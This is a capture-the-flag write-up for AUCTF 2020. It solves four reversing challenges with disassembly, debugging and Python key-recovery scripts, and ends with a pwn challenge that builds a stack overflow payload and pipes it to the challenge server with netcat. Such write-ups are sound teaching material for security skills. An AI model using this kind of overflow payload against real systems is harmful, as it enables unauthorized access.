# AUCTF 2020<div align="center"></div>
AUCTF 2020 has ended, and me and my team [**P1rates**](https://ctftime.org/team/113157) really enjoyed it as it was full of good problems, I participated as **T1m3-m4ch1n3** and here's my writeup about some of the problems that i solved.*(if you're interested in the rest you can read the writeup of my teammate **y4mm1** [here](https://ah-sayed.github.io/posts/auctf-2020))*
## Challenges
| Title                           	      | Category      || --------------------------------------------|--------------:|| [Cracker Barrel](#cracker-barrel)	      |   Reversing   || [Mr. Game and Watch](#mr-game-and-watch)    |   Reversing   || [Sora](#sora)      		   	      |   Reversing   || [Don't Break Me](#dont-break-me)	      |   Reversing   || [Thanksgiving Dinner](#thanksgiving-dinner) |   Pwn         |
---
## Cracker Barrel#### Reversing
### Description:> **I found a USB drive under the checkers board at cracker barrel. My friends told me not to plug it in but surely nothing bad is on it?> I found this file, but I can't seem to unlock it's secrets. Can you help me out?> Also.. once you think you've got it I think you should try to connect to challenges.auctf.com at port 30000 not sure what that means, but it written on the flash drive..> [cracker_barrel](cracker%20barrel/cracker_barrel)**
### Solution:
Firstly we start by `strings` command and obviously the flag isn't there so we do `file` command we will find it's ELF 64-bit, dynamically linked and not stripped.
let's do some radare2 stuff```$ r2 -AA cracker_barrel[0x00001180]> afl```
well, here we find some interesting function names like:```mainsym.checksym.check_1sym.check_2sym.check_3sym.print_flag```
then seeking to the main and entering the visual mode:```[0x00001180]> s main[0x000012b5]> VV```
we notice that main calls sym.check and then `test eax, eax` and the `je` if it's false then it calls sym.print_flag .. So whatever happens inside check() function it MUST return a non-zero value so we can get the flag!
By digging into check() function we see clearly the it takes the user input and calls check_1() function and if the return is zero it returns zero (which we don't need to happend), Otherwise it continues to call the second check which is check_2() and so on with check_3() .. so we need to make sure to return a non-zero value from these functions too
Now going deeper inside check_1():
<div align="center"></div>
as we see clearly it takes the user input in s1 variable, then "starwars" in s2 and compares them if they're equal then it goes to the second check which compares the user input with "startrek" if they're NOT equal it returns 1
So all we need to do is passing "starwars" as first input and by that we passed the first check!
Now we go to check_2() function in visual mode we'll find there's a string "si siht egassem terces" that get modified by some operations and then compared to our second input
<div align="center"></div>
as seen in the photo above we can make a breakpoint in the `cmp` instruction and examine the 2 stringsI'll use gdb for the debugging:```$ gdb cracker_barrel(gdb) set disassembly-flavor intel(gdb) disass check_2   ..   0x0000000000001553 <+132>:	mov    rsi,rdx   0x0000000000001556 <+135>:	mov    rdi,rax   0x0000000000001559 <+138>:	call   0x1130   ..
(gdb) b *check_2+138Breakpoint 1 at 0x1559
(gdb) rGive me a key!starwarsYou have passed the first test! Now I need another key!AAAA
Breakpoint 1, 0x0000555555555559 in check_2 ()```
Now we hit the breakpoint on the comparing point now by examining rsi and rdi:```(gdb) x/wx $rsi0x7fffffffc540:	0x41414141(gdb) x/2wx $rdi0x555555559420:	0x73692073	0x00000000```
Clearly rsi is our input and rdi is how our input must be! which represents "s is" as a string (in little endian)!And this our second input!
Now heading to our final check which is check_3 function() in visual mode .. we se a string "z!!b6~wn&\`" passed seperately to variablesthen it iterates through each character in the user input string and encrypt it as follows:
<div align="center"></div>
The encryption method:- take each character and add 0x2 to its hexadecimal value- XOR the result with 0x14
And then compare the n-th character in the resulting string with the n-th character in "z!!b6\~wn&\`" string.Our goal now is clear which is to decrypt "z!!b6\~wn&\`" string:```pythonsecret = "z!!b6~wn&`"result = ""
for c in secret:    result += chr((ord(c) ^ 0x14) - 0x2)
print(result)```
Now by running it:```bash$ python3 decrypt.pyl33t hax0r```
And that's our third input!Now by connecting to the server to get the flag:```$ nc challenges.auctf.com 30000Give me a key!starwarsYou have passed the first test! Now I need another key!s isNice work! You've passes the second test, we aren't done yet!l33t hax0rCongrats you finished! Here is your flag!auctf{w3lc0m3_to_R3_1021}```
Flag: `auctf{w3lc0m3_to_R3_1021}`
---
## Mr. Game and Watch#### Reversing
### Description:> **My friend is learning some wacky new interpreted language and different hashing algorithms. He's hidden a flag inside this program but I cant find it...> He told me to connect to challenges.auctf.com 30001 once I figured it out though.> [mr_game_and_watch.class](mr.%20game%20and%20watch/mr_game_and_watch.class)**
### Solution:First, we need to decompile the .class file to get its java source .. i used [CFR java decompiler](https://www.benf.org/other/cfr/):
```bash$ java -jar ~/cfr-0.149.jar mr_game_and_watch.class > mr_game_and_watch.java```
and this was the resulting source code:
```javaimport java.io.BufferedReader;import java.io.FileReader;import java.io.IOException;import java.security.MessageDigest;import java.util.Arrays;import java.util.Scanner;
public class mr_game_and_watch {    public static String secret_1 = "d5c67e2fc5f5f155dff8da4bdc914f41";    public static int[] secret_2 = new int[]{114, 118, 116, 114, 113, 114, 36, 37, 38, 38, 120, 121, 33, 36, 37, 113, 117, 118, 118, 113, 33, 117, 121, 37, 119, 34, 118, 115, 114, 120, 119, 114, 36, 120, 117, 120, 38, 114, 35, 118};    public static int[] secret_3 = new int[]{268, 348, 347, 347, 269, 256, 348, 269, 256, 256, 344, 271, 271, 264, 266, 348, 257, 266, 267, 348, 269, 266, 266, 344, 267, 270, 267, 267, 348, 349, 349, 265, 349, 267, 256, 269, 270, 349, 268, 271, 351, 349, 347, 269, 349, 271, 257, 269, 344, 351, 265, 351, 265, 271, 346, 271, 266, 264, 351, 349, 351, 271, 266, 266};    public static int key_2 = 64;    public static int key_3 = 313;
    public static void main(String[] arrstring) {        System.out.println("Welcome to the Land of Interpreted Languages!");        System.out.println("If you are used to doing compiled languages this might be a shock... but if you hate assembly this is the place to be!");        System.out.println("\nUnfortunately, if you hate Java, this may suck...");        System.out.println("Good luck!\n");        if (mr_game_and_watch.crackme()) {            mr_game_and_watch.print_flag();        }    }
    private static boolean crackme() {        Scanner scanner = new Scanner(System.in);        if (mr_game_and_watch.crack_1((Scanner)scanner) && mr_game_and_watch.crack_2((Scanner)scanner) && mr_game_and_watch.crack_3((Scanner)scanner)) {            System.out.println("That's correct!");            scanner.close();            return true;        }        System.out.println("Nope that's not right!");        scanner.close();        return false;    }
    private static boolean crack_1(Scanner scanner) {        System.out.println("Let's try some hash cracking!! I'll go easy on you the first time. The first hash we are checking is this");        System.out.println("\t" + secret_1);        System.out.print("Think you can crack it? If so give me the value that hashes to that!\n\t");        String string = scanner.nextLine();        String string2 = mr_game_and_watch.hash((String)string, (String)"MD5");        return string2.compareTo(secret_1) == 0;    }
    private static boolean crack_2(Scanner scanner) {        System.out.println("Nice work! One down, two to go ...");        System.out.print("This next one you don't get to see, if you aren't already digging into the class file you may wanna try that out!\n\t");        String string = scanner.nextLine();        return mr_game_and_watch.hash((String)string, (String)"SHA1").compareTo(mr_game_and_watch.decrypt((int[])secret_2, (int)key_2)) == 0;    }
    private static boolean crack_3(Scanner scanner) {        System.out.print("Nice work! Here's the last one...\n\t");        String string = scanner.nextLine();        String string2 = mr_game_and_watch.hash((String)string, (String)"SHA-256");        int[] arrn = mr_game_and_watch.encrypt((String)string2, (int)key_3);        return Arrays.equals(arrn, secret_3);    }
    private static int[] encrypt(String string, int n) {        int[] arrn = new int[string.length()];        for (int i = 0; i < string.length(); ++i) {            arrn[i] = string.charAt(i) ^ n;        }        return arrn;    }
    private static String decrypt(int[] arrn, int n) {        Object object = "";        for (int i = 0; i < arrn.length; ++i) {            object = (String)object + (char)(arrn[i] ^ n);        }        return object;    }
    private static void print_flag() {        String string = "flag.txt";        try (BufferedReader bufferedReader = new BufferedReader(new FileReader(string));){            String string2;            while ((string2 = bufferedReader.readLine()) != null) {                System.out.println(string2);            }        }        catch (IOException iOException) {            System.out.println("Could not find file please notify admin");        }    }
    public static String hash(String string, String string2) {        String string3 = null;        try {            MessageDigest messageDigest = MessageDigest.getInstance(string2);            byte[] arrby = messageDigest.digest(string.getBytes("UTF-8"));            StringBuilder stringBuilder = new StringBuilder(2 * arrby.length);            for (byte by : arrby) {                stringBuilder.append(String.format("%02x", by & 0xFF));            }            string3 = stringBuilder.toString();        }        catch (Exception exception) {            System.out.println("broke");        }        return string3;    }}```
After reading the source code we clearly see that in order to call print_flag() function crackme() function MUST return true which will happen only if crack_1(), crack_2() and crack_3() functions are true .. So let's make those guys true!
- crack_1():``` java    private static boolean crack_1(Scanner scanner) {        System.out.println("Let's try some hash cracking!! I'll go easy on you the first time. The first hash we are checking is this");        System.out.println("\t" + secret_1);        System.out.print("Think you can crack it? If so give me the value that hashes to that!\n\t");        String string = scanner.nextLine();        String string2 = mr_game_and_watch.hash((String)string, (String)"MD5");        return string2.compareTo(secret_1) == 0;    }```
That's easy .. the input gets encrypted using MD5 and then compared to secret_1 variable if they're equal it returns truewe need to decrypt secret_1 value and that will be our first key!
I used this [site](https://hashtoolkit.com/decrypt-hash/) for that:
<div align="center"></div>
Nice! `masterchief` is our first input we got one .. two to go!
- crack_2():```java    private static boolean crack_2(Scanner scanner) {        System.out.println("Nice work! One down, two to go ...");        System.out.print("This next one you don't get to see, if you aren't already digging into the class file you may wanna try that out!\n\t");        String string = scanner.nextLine();        return mr_game_and_watch.hash((String)string, (String)"SHA1").compareTo(mr_game_and_watch.decrypt((int[])secret_2, (int)key_2)) == 0;    }```
Well, here it takes our input -> encrypt it using SHA1 -> compare it to the decrypted secret_2 value using decrypt() function
Now by thinking reverse! we need to: decrypt secret_2 value -> decrypt the result using SHA1 -> and that's our input!
The equivalent python code of decrypt() function is:
```pythonsecret = [114, 118, 116, 114, 113, 114, 36, 37, 38, 38, 120, 121, 33, 36, 37, 113, 117, 118, 118, 113, 33, 117, 121, 37, 119, 34, 118, 115, 114, 120, 119, 114, 36, 120, 117, 120, 38, 114, 35, 118]
key = 64
def decrypt(a, k):    result = ""    for i in range (0, len(a)):        result += chr(a[i] ^ k)
    return result
print(decrypt(secret, key))```
Now running it:
```bash$ python3 decrypt.py264212deff89ade15661a59e7b632872d858f2c6```
Now decrypting this SHA1 using the same [site](https://hashtoolkit.com/decrypt-hash/):
<div align="center"></div>
Great! `princesspeach` is our second input .. only one left!
- crack_3():```java
    private static boolean crack_3(Scanner scanner) {        System.out.print("Nice work! Here's the last one...\n\t");        String string = scanner.nextLine();        String string2 = mr_game_and_watch.hash((String)string, (String)"SHA-256");        int[] arrn = mr_game_and_watch.encrypt((String)string2, (int)key_3);        return Arrays.equals(arrn, secret_3);    }```
So it takes our input -> encrypt it using SHA256 -> encrypt it using encrypt() function -> compare the result with secret_3 array
thinking reverse we should: take the secret_3 array -> decrypt it using the reverse of encrypt() function -> decrypt the resulting SHA256 hash
The encrypt() function just XOR each character with 313 value and that's the equivalent python code:```pythonsecret = [268, 348, 347, 347, 269, 256, 348, 269, 256, 256, 344, 271, 271, 264, 266, 348, 257, 266, 267, 348, 269, 266, 266, 344, 267, 270, 267, 267, 348, 349, 349, 265, 349, 267, 256, 269, 270, 349, 268, 271, 351, 349, 347, 269, 349, 271, 257, 269, 344, 351, 265, 351, 265, 271, 346, 271, 266, 264, 351, 349, 351, 271, 266, 266]
key = 313
def decrypt(a, n):    myStr = ""    for i in range (0, len(a)):        myStr += chr(a[i] ^ key)
    return myStr
print(decrypt(secret, key))```
Now running it:```bash$ python3 decrypt2.py5ebb49e499a6613e832e433a2722edd0d2947d56fdb4d684af0f06c631fdf633```
Then i used this [site](https://md5decrypt.net/en/Sha256/) to decrypt the result:
<div align="center"></div>
Finally! Our third input is `solidsnake`
Now connecting to the server:```$ nc challenges.auctf.com 30001
Welcome to the Land of Interpreted Languages!If you are used to doing compiled languages this might be a shock... but if you hate assembly this is the place to be!
Unfortunately, if you hate Java, this may suck...Good luck!
Let's try some hash cracking!! I'll go easy on you the first time. The first hash we are checking is this	d5c67e2fc5f5f155dff8da4bdc914f41Think you can crack it? If so give me the value that hashes to that!	masterchiefNice work! One down, two to go ...This next one you don't get to see, if you aren't already digging into the class file you may wanna try that out!	princesspeachNice work! Here's the last one...	solidsnakeThat's correct!auctf{If_u_h8_JAVA_and_@SM_try_c_sharp_2922}```
Flag: `auctf{If_u_h8_JAVA_and_@SM_try_c_sharp_2922}`
---
## Sora#### Reversing
### Description:> **This obnoxious kid with spiky hair keeps telling me his key can open all doors.> Can you generate a key to open this program before he does?> Connect to challenges.auctf.com 30004> [sora](sora/sora)**
### Solution:As usual using `file` command it appears it's a 64-bit ELF file, dynamically linked and not strippedand with `strings` command we find an interesting part:
```$ strings sora..aQLpavpKQcCVpfcgGive me a key!That's not it!flag.txtToo bad you can only run this exploit on the server.....```
as a first assumption maybe `aQLpavpKQcCVpfcg` string is some sort of an encrypted key or something
Alright, let's put this into radare2```$ r2 -AA sora[0x00001140]> afl..0x000012dd    7 171          sym.encrypt0x00001430    4 101          sym.__libc_csu_init0x00001229    6 180          main..
[0x00001140]> s main[0x00001229]> VV```In the visual mode we can see the encrypt() function gets called after the user enters an input:
<div align="center"></div>
If eax register does NOT equal zero then it prints the flag .. whatever happens in encrypt() function it MUST returns a non-zero value
Now moving to IDA pro to see the decompilation of encrypt() function:
<div align="center"></div>
The function simply encrypts the character and if it doesn't equal the equivalent character in the secret variable it return 0 which we don't want to happen
the secret variable has the value of our interesting string `aQLpavpKQcCVpfcg`:
<div align="center"></div>
Now i wrote this python script which iterates through each character in the secret variable string and finds the printable character that satisfies the if condition:
```pythonsecret = "aQLpavpKQcCVpfcg"
def getkeychar(a):
    # iterates through the printable characters only    for x in range(ord(' '), ord('~')):        if chr((8 * x + 19)%61 + 65) == a:            return chr(x)
key = ""for i in range (0, len(secret)):    key += getkeychar(secret[i])
print(key)
```
Now running it gives us the key:```$ python3 key.py75<"72"%5($."0(G```
Now connecting to the server:```$ nc challenges.auctf.com 30004Give me a key!75<"72"%5($."0(Gauctf{that_w@s_2_ezy_29302}```
Flag: `auctf{that_w@s_2_ezy_29302}`
---
## Don't Break Me#### Reversing
### Description:> **I've been working on my anti-reversing lately. See if you can get this flag!> Connect at challenges.auctf.com 30005> [dont_break_me](don't%20break%20me/dont_break_me)**
### Solution:Alright, with `file` command we know it's 32-bit ELF file, dynamically linked and not stripped .. and with `strings` command there's nothing interesting
Now it's time for radare2:
```$ r2 -AA dont-break-me[0x000010e0]> afl..0x000015a1    7 224          sym.decrypt0x0000138a    6 102          sym.get_string0x000014cf    7 210          sym.encrypt0x00001681    6 117          sym.inverse0x00001272    4 280          main..```
Those function names sound interesting let's start with main() function:
<div align="center"></div>
It seems that the program takes the user input then removes the newline character at the end, then pushes it as an argument to encrypt() function and put the result in s2 variable .. after that it allocates a new memory using calloc() built-in function and returns the address to s1 which is passed to get_string() function as an argument to load a string .. afterwards there's a compare so s1 MUST be equal s2
So overall we need to reverse that as follows:- See the get_string() function and get the string which is loaded to s1- Decrypt that string using decrypt() function- Input the result in order to get the flag
So far so good .. we'll start with decompiling get_string() function using IDA pro:
<div align="center"></div>
It's clear that it iterates from 0 to 31 and with this if condition it only loads the even indexed characters (e.x. 0, 2, 4, ...) from blah variable **backwoards** in the a1 variable
And this is the value of blah variable:
<div align="center"></div>
Which is `XAPRMXCSBCEDISBVXISXWERJRWSZARSQ`
Next, the decrypt() function:
<div align="center"></div>
Clearly, it takes the user input string with two argument which, from analysing the code, are 12, 17 consecutively then iterates through each character and decrypt it using a formula which appears to be the [Affine Cipher](https://en.wikipedia.org/wiki/Affine_cipher)
Finally the inverse() function:
<div align="center"></div>
Simple enough! .. Now by combining our understanding of the previous functions i came up with this python script which is equivalent of all we said```pythondef get_string(s):    u = list(s)    result = []
    for i in range (0, len(u)):        if i % 2 == 0:            result.append(u[i])
    result.reverse()    return ''.join(result)
def inverse(a):    n = 0    for i in range (0, 26):        if i * a % 26 == 1:            n = i
    return n
def decrypt(s, a, k):    x = ""
    inv = inverse(a)
    for i in s:        # check if the character is a space        if ord(i) == 32:            x += i        else:            x += chr(inv * (ord(i) + 65 - k)%26 + 65)    return x
secret = "XAPRMXCSBCEDISBVXISXWERJRWSZARSQ"a = 17k = 12
secret = get_string(secret)
key = decrypt(secret, a, k)
print(key)```
Now by running this script it should give us the key:
```$ python3 decrypt.pyIKILLWITHMYHEART```
Now connecting to the server:
```$ nc challenges.auctf.com 3000554 68 65 20 6d 61 6e 20 69 6e 20 62 6c 61 63 6b 20 66 6c 65 64 20 61 63 72 6f 73 73 20 74 68 65 20 64 65 73 65 72 74 2c 20 61 6e 64 20 74 68 65 20 67 75 6e 73 6c 69 6e 67 65 72 20 66 6f 6c 6c 6f 77 65 64 2eInput: IKILLWITHMYHEARTauctf{static_or_dyn@mIc?_12923}```
Flag: `auctf{static_or_dyn@mIc?_12923}`
---
## Thanksgiving Dinner#### Pwn
### Description:> **I just ate a huge dinner. I can barley eat anymore... so please don't give me too much!> nc challenges.auctf.com 30011> Note: ASLR is disabled for this challenge> [turkey](thanksgiving%20dinner/turkey)**
### Solution:Nice! by doing `file` command we know it's 32-bit ELF file, dynamically linked and not strippedand with `strings` command nothing really interesting
And with radare2:```$ r2 -AA turkey[0x000010c0]> afl..0x000011f9    1 87           main0x00001250    7 198          sym.vulnerable..```
Those are interesting functions .. the main only puts a text and then calls vulnerable() function which makes 5 checks if they're all true it prints out the flag!:
<div align="center"></div>
We go to gdb-peda for a better memory examine and debugging:
```gdb-peda$ set disassembly-flavor intelgdb-peda$ disass vulnerable```
<div align="center"></div>
We see fgets length is 0x24 which is 36, so we put a breakpoint after fgets that will allow us to examine the memory right after we enter the input.
And by running the file and enters `AAAA` as input:
<div align="center"></div>
We can see that eax register is pointing to 0xbffff14c address and by examining the memory at this location and all the addresses in the comparisons:
<div align="center"></div>
GREAT! Now we can overwrite those values to pass the checks .. and these are the 5 checks:
<div align="center"></div>
- ![Red](https://placehold.it/15/ff0000/000000?text=+)    0xbffff16c  MUST EQUAL 0x1337- ![Green](https://placehold.it/15/00ff00/000000?text=+)  0xbffff168  MUST BE LESS THAN 0xffffffec (= -20)- ![Yellow](https://placehold.it/15/ffff00/000000?text=+) 0xbffff160  MUST NOT EQUAL 0x14- ![Pink](https://placehold.it/15/ff00ff/000000?text=+)   0xbffff164  MUST EQUAL 0x667463- ![Orange](https://placehold.it/15/ff6600/000000?text=+) 0xbffff15c  MUST EQUAL 0x2a
Now our payload is:
```python>>> from pwn import p32>>> 'A'*16 + p32(0x2a) + p32(0x20) + p32(0x667463) + p32(0xffffffec - 10) + p32(0x1337)'AAAAAAAAAAAAAAAA*\x00\x00\x00 \x00\x00\x00ctf\x00\xe2\xff\xff\xff7\x13\x00\x00'```
Now we can pipe it to the server:
```$ python -c "print 'AAAAAAAAAAAAAAAA*\x00\x00\x00 \x00\x00\x00ctf\x00\xe2\xff\xff\xff7\x13\x00\x00'" | nc challenges.auctf.com 30011Hi!Welcome to my program... it's a little buggy...Hey I heard you are searching for flags! Well I've got one. :)Here you can have part of it!auctf{
Sorry that's all I got!
Wait... you aren't supposed to be here!!auctf{I_s@id_1_w@s_fu11!}```
Flag: `auctf{I_s@id_1_w@s_fu11!}`